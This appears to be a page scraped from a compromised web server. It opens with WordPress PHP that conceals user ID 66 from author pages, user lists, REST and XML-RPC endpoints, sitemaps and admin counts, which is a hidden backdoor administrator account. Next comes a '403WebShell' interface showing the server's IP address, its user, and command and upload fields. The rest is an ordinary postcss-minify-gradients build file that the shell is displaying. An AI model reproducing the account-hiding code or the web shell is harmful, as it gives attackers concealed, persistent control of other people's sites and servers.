add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/badgeurope.eu/node_modules/postcss-minify-gradients/dist/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/badgeurope.eu/node_modules/postcss-minify-gradients/dist/index.js
"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.default = void 0;

var _postcssValueParser = _interopRequireWildcard(require("postcss-value-parser"));

var _cssnanoUtils = require("cssnano-utils");

var _isColorStop = _interopRequireDefault(require("./isColorStop.js"));

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _getRequireWildcardCache(nodeInterop) { if (typeof WeakMap !== "function") return null; var cacheBabelInterop = new WeakMap(); var cacheNodeInterop = new WeakMap(); return (_getRequireWildcardCache = function (nodeInterop) { return nodeInterop ? cacheNodeInterop : cacheBabelInterop; })(nodeInterop); }

function _interopRequireWildcard(obj, nodeInterop) { if (!nodeInterop && obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== "object" && typeof obj !== "function") { return { default: obj }; } var cache = _getRequireWildcardCache(nodeInterop); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (key !== "default" && Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }

const angles = {
  top: '0deg',
  right: '90deg',
  bottom: '180deg',
  left: '270deg'
};

function isLessThan(a, b) {
  return a.unit.toLowerCase() === b.unit.toLowerCase() && parseFloat(a.number) >= parseFloat(b.number);
}

function optimise(decl) {
  const value = decl.value;

  if (!value) {
    return;
  }

  const normalizedValue = value.toLowerCase();

  if (normalizedValue.includes('var(') || normalizedValue.includes('env(')) {
    return;
  }

  if (!normalizedValue.includes('gradient')) {
    return;
  }

  decl.value = (0, _postcssValueParser.default)(value).walk(node => {
    if (node.type !== 'function' || !node.nodes.length) {
      return false;
    }

    const lowerCasedValue = node.value.toLowerCase();

    if (lowerCasedValue === 'linear-gradient' || lowerCasedValue === 'repeating-linear-gradient' || lowerCasedValue === '-webkit-linear-gradient' || lowerCasedValue === '-webkit-repeating-linear-gradient') {
      let args = (0, _cssnanoUtils.getArguments)(node);

      if (node.nodes[0].value.toLowerCase() === 'to' && args[0].length === 3) {
        node.nodes = node.nodes.slice(2);
        node.nodes[0].value = angles[node.nodes[0].value.toLowerCase()];
      }

      let lastStop = null;
      args.forEach((arg, index) => {
        if (arg.length !== 3) {
          return;
        }

        let isFinalStop = index === args.length - 1;
        let thisStop = (0, _postcssValueParser.unit)(arg[2].value);

        if (lastStop === null) {
          lastStop = thisStop;

          if (!isFinalStop && lastStop && lastStop.number === '0' && lastStop.unit.toLowerCase() !== 'deg') {
            arg[1].value = arg[2].value = '';
          }

          return;
        }

        if (lastStop && thisStop && isLessThan(lastStop, thisStop)) {
          arg[2].value = 0;
        }

        lastStop = thisStop;

        if (isFinalStop && arg[2].value === '100%') {
          arg[1].value = arg[2].value = '';
        }
      });
      return false;
    }

    if (lowerCasedValue === 'radial-gradient' || lowerCasedValue === 'repeating-radial-gradient') {
      let args = (0, _cssnanoUtils.getArguments)(node);
      let lastStop;
      const hasAt = args[0].find(n => n.value.toLowerCase() === 'at');
      args.forEach((arg, index) => {
        if (!arg[2] || !index && hasAt) {
          return;
        }

        let thisStop = (0, _postcssValueParser.unit)(arg[2].value);

        if (!lastStop) {
          lastStop = thisStop;
          return;
        }

        if (lastStop && thisStop && isLessThan(lastStop, thisStop)) {
          arg[2].value = 0;
        }

        lastStop = thisStop;
      });
      return false;
    }

    if (lowerCasedValue === '-webkit-radial-gradient' || lowerCasedValue === '-webkit-repeating-radial-gradient') {
      let args = (0, _cssnanoUtils.getArguments)(node);
      let lastStop;
      args.forEach(arg => {
        let color;
        let stop;

        if (arg[2] !== undefined) {
          if (arg[0].type === 'function') {
            color = `${arg[0].value}(${(0, _postcssValueParser.stringify)(arg[0].nodes)})`;
          } else {
            color = arg[0].value;
          }

          if (arg[2].type === 'function') {
            stop = `${arg[2].value}(${(0, _postcssValueParser.stringify)(arg[2].nodes)})`;
          } else {
            stop = arg[2].value;
          }
        } else {
          if (arg[0].type === 'function') {
            color = `${arg[0].value}(${(0, _postcssValueParser.stringify)(arg[0].nodes)})`;
          }

          color = arg[0].value;
        }

        color = color.toLowerCase();
        const colorStop = stop || stop === 0 ? (0, _isColorStop.default)(color, stop.toLowerCase()) : (0, _isColorStop.default)(color);

        if (!colorStop || !arg[2]) {
          return;
        }

        let thisStop = (0, _postcssValueParser.unit)(arg[2].value);

        if (!lastStop) {
          lastStop = thisStop;
          return;
        }

        if (lastStop && thisStop && isLessThan(lastStop, thisStop)) {
          arg[2].value = 0;
        }

        lastStop = thisStop;
      });
      return false;
    }
  }).toString();
}

function pluginCreator() {
  return {
    postcssPlugin: 'postcss-minify-gradients',

    OnceExit(css) {
      css.walkDecls(optimise);
    }

  };
}

pluginCreator.postcss = true;
var _default = pluginCreator;
exports.default = _default;
module.exports = exports.default;

Youez - 2016 - github.com/yon3zu
LinuXploit